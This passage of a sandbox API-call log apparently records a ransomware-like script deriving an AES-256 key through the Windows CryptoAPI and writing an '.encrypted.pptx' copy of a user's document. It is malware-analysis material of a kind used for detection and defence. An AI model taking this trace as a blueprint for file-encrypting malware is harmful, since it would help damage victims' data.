lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.811] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.811] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5610) returned 1 [0025.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.811] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.811] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x15ea, lpOverlapped=0x0) returned 1 [0025.812] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.812] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x15ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.812] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5610) returned 1 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.812] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.812] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.812] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.812] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.812] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.812] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.812] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.812] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.813] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.813] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.813] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.813] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.813] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.814] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.814] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.814] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.814] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.814] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.814] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.814] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.814] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.814] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.814] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0025.815] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.815] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.815] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.815] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.815] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.816] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.816] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.816] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.817] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.817] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.817] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417ac00, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0025.818] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0025.818] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.819] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.819] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b240, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.819] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.819] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.819] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.819] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.819] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.819] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.820] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.820] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0025.820] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\tex-fkU3aLzfvTfyy7.encrypted.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\tex-fku3alzfvtfyy7.encrypted.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.821] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.821] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.821] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.821] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.822] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.822] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.823] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1b7a, lpOverlapped=0x0) returned 1 [0025.823] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.826] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.826] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.827] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.827] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.827] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.827] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.827] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.827] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.827] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.827] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.828] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.828] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.829] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417abe0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0025.829] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0025.829] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064a20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.830] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.830] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.830] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, 